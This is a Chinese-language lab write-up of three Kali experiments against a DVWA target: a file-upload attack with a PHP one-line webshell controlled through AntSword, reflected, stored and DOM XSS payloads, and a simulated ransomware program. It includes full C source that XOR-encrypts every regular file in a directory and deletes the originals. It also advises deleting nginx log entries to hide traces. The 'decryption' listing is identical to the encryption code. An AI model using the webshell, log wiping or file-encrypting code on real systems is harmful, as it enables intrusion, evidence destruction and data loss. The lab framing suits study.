一次kali实验
环境配置
Windows10 IP地址:192.168.254.1
Kali虚拟机一台 IP地址:192.168.254.50
实验一、文件上传漏洞
利用dvwa靶场中的文件上传漏洞模块实现
首先在win10上启动dvwa靶场
之后用kali自带的工具nmap进行端口扫描
nmap 192.168.254.1
结果如图所示:
查看到服务器的80端口存在web服务
想要隐藏自身IP地址可通过网络代理实现
登陆浏览器访问192.168.254.1进入dvwa
将安全等级设置为low
选择file upload模块
创建一句话木马文件muma.php
<?php @eval($_POST["shell"]);?>
保存后上传到dvwa,显示如下界面:
之后打开蚁剑工具右键添加数据进行远程连接
Url地址为:http://192.168.254.1/hackable/uploads/muma.php
密码为shell
成功后蚁剑就会通过向服务器发送包含shell参数的post请求,在服务器上执行任意命令,获取webshell权限。
最后进行痕迹消除,寻找nginx的web日志文件,一般存储于access.log和error.log中,然后删除对应记录即可。
实验二、XSS漏洞
XSS漏洞是指攻击者将恶意代码注入到网页中,当其他用户浏览该页面时,恶意代码会被执行,从而获取用户敏感信息或进行其他攻击。
一般分为三种,下面一一实现:
1、反射型XSS
交互的数据一般不会存储在数据库里,只是简单的把用户输入的数据反射给浏览器(一次性的)。需用户访问特定的url才能生效,并且访问产生的收据不会对服务端造成影响。
选择dvwa中的XSS (Reflected)模块
直接在输入框中输入恶意JavaScript脚本
<script>alert("Hello World")</script>
结果如图:
将该url发送到其他用户,用户点击后JavaScript脚本同样执行
http://192.168.254.1/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22Hello+World%22%29%3C%2Fscript%3E#
2、存储型XSS
交互的数据会被存在数据库里,永久性存储,具很强的稳定性。会对访问网站相应页面的所有用户造成影响。
选择dvwa中的XSS (Stored)模块
植入恶意JavaScript代码
Name可随意输入
Message处植入恶意代码
上传后,该脚本会持续保存在数据库中,之后所有用户访问该页面时都会执行上传的恶意JavaScript脚本
想要删除的话,需在dvwa的数据库中删除对应的记录
3、DOM型XSS
不与后台服务器产生数据交互,通过前端DOM节点形成XSS漏洞。会在网站页面生成超链接信息,超链接信息中会自动加载恶意代码,影响客户端。
选择dvwa的XSS(DOM)模块
点击Select后发现页面刷新url后拼接了default=English
尝试修改url
http://192.168.254.1/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27jinitaimei%27)%3C/script%3E
访问后结果如图
实验三、模拟勒索病毒进行攻击
在该实验中我们制作一个简易的加密程序模仿勒索病毒进行攻击
首先我们在靶机中创建一个新的test目录,然后在该目录下创建一个文本文件,输入自定义内容
接着我们编写一段加密代码,编译后上传到服务器,加密源代码如下:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<dirent.h>
#include<sys/types.h>
#include<sys/stat.h>
/*声明一些变量*/
char ch = '0';
char filename[256] = ""; //保存输入的数据 文件的路径
char filepath[256] = ""; //当前目录下的文件路径
FILE *fp = NULL;
FILE *fptemp = NULL;
char password[12] = "123456";
const char tempfile[256] = "temp1234567890.temp";
int pwdlen = 0;
int i = 0; //作计数器
//函数声明
void inputpass(char *pass);
void encryptFile(const char *filename, const char *password);
//函数实现
void inputpass(char *pass)
{
scanf("%s", pass);
}
void encryptFile(const char *filename, const char *password)
{
if (NULL == (fp = fopen(filename, "rb")))
{
printf("无法打开文件: %s", filename);
return;
}
printf("加密文件: %s", filename);
pwdlen = strlen(password);
if (0 == pwdlen)
{
printf("密码长度为0");
fclose(fp);
return;
}
// 创建临时文件
strcpy(filepath, filename);
strcat(filepath, tempfile);
fptemp = fopen(filepath, "wb");
if (fptemp == NULL)
{
printf("无法创建临时文件");
fclose(fp);
return;
}
// 逐字节加密并写入临时文件
while (1)
{
ch = getc(fp);
if (feof(fp))
{
/*判断文件是否读完*/
break;
}
/*每取出一个字符就加密*/
ch ^= password[i++];
// ch里就是加密以后的数据了
fputc(ch, fptemp);
if (i == pwdlen)
{
i = 0;
}
}
fclose(fp);
fclose(fptemp);
// 删除原文件,重命名临时文件
remove(filename);
rename(filepath, filename);
printf("加密完成");
}
void encryptFilesInCurrentDir()
{
DIR *dir = opendir(".");
if (dir == NULL)
{
printf("无法打开当前目录");
return;
}
struct dirent *entry;
struct stat filestat;
while ((entry = readdir(dir)) != NULL)
{
if (entry->d_name[0] != '.') // 忽略隐藏文件
{
char filepath[256];
sprintf(filepath, "./%s", entry->d_name);
if (stat(filepath, &filestat) == 0 && S_ISREG(filestat.st_mode)) // 如果是普通文件
{
encryptFile(entry->d_name, password);
}
}
}
closedir(dir);
}
//主函数
int main(int argc, char const *argv[])
{
printf("******************************\n");
printf("********安全加密小程序*********\n");
printf("当前目录下的所有文件将被加密,");
printf("请输入密码: ");
inputpass(password);
encryptFilesInCurrentDir();
return 0;
}
接着在此处打开终端,运行我们的加密程序
加密完成后,当前路径下所有的文件都会被加密,此时打开1.txt,看到的为加密后的文本
需运行解密程序后才能解除
解密程序源代码如下:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<dirent.h>
#include<sys/types.h>
#include<sys/stat.h>
/*声明一些变量*/
char ch = '0';
char filename[256] = ""; //保存输入的数据 文件的路径
char filepath[256] = ""; //当前目录下的文件路径
FILE *fp = NULL;
FILE *fptemp = NULL;
char password[12] = "123456";
const char tempfile[256] = "temp1234567890.temp";
int pwdlen = 0;
int i = 0; //作计数器
//函数声明
void inputpass(char *pass);
void encryptFile(const char *filename, const char *password);
//函数实现
void inputpass(char *pass)
{
scanf("%s", pass);
}
void encryptFile(const char *filename, const char *password)
{
if (NULL == (fp = fopen(filename, "rb")))
{
printf("无法打开文件: %s", filename);
return;
}
printf("加密文件: %s", filename);
pwdlen = strlen(password);
if (0 == pwdlen)
{
printf("密码长度为0");
fclose(fp);
return;
}
// 创建临时文件
strcpy(filepath, filename);
strcat(filepath, tempfile);
fptemp = fopen(filepath, "wb");
if (fptemp == NULL)
{
printf("无法创建临时文件");
fclose(fp);
return;
}
// 逐字节加密并写入临时文件
while (1)
{
ch = getc(fp);
if (feof(fp))
{
/*判断文件是否读完*/
break;
}
/*每取出一个字符就加密*/
ch ^= password[i++];
// ch里就是加密以后的数据了
fputc(ch, fptemp);
if (i == pwdlen)
{
i = 0;
}
}
fclose(fp);
fclose(fptemp);
// 删除原文件,重命名临时文件
remove(filename);
rename(filepath, filename);
printf("加密完成");
}
void encryptFilesInCurrentDir()
{
DIR *dir = opendir(".");
if (dir == NULL)
{
printf("无法打开当前目录");
return;
}
struct dirent *entry;
struct stat filestat;
while ((entry = readdir(dir)) != NULL)
{
if (entry->d_name[0] != '.') // 忽略隐藏文件
{
char filepath[256];
sprintf(filepath, "./%s", entry->d_name);
if (stat(filepath, &filestat) == 0 && S_ISREG(filestat.st_mode)) // 如果是普通文件
{
encryptFile(entry->d_name, password);
}
}
}
closedir(dir);
}
//主函数
int main(int argc, char const *argv[])
{
printf("******************************\n");
printf("********安全加密小程序*********\n");
printf("当前目录下的所有文件将被加密,");
printf("请输入密码: ");
inputpass(password);
encryptFilesInCurrentDir();
return 0;
}
将解密代码编译后,上传到相同目录下
然后在终端处运行
此时文件恢复正常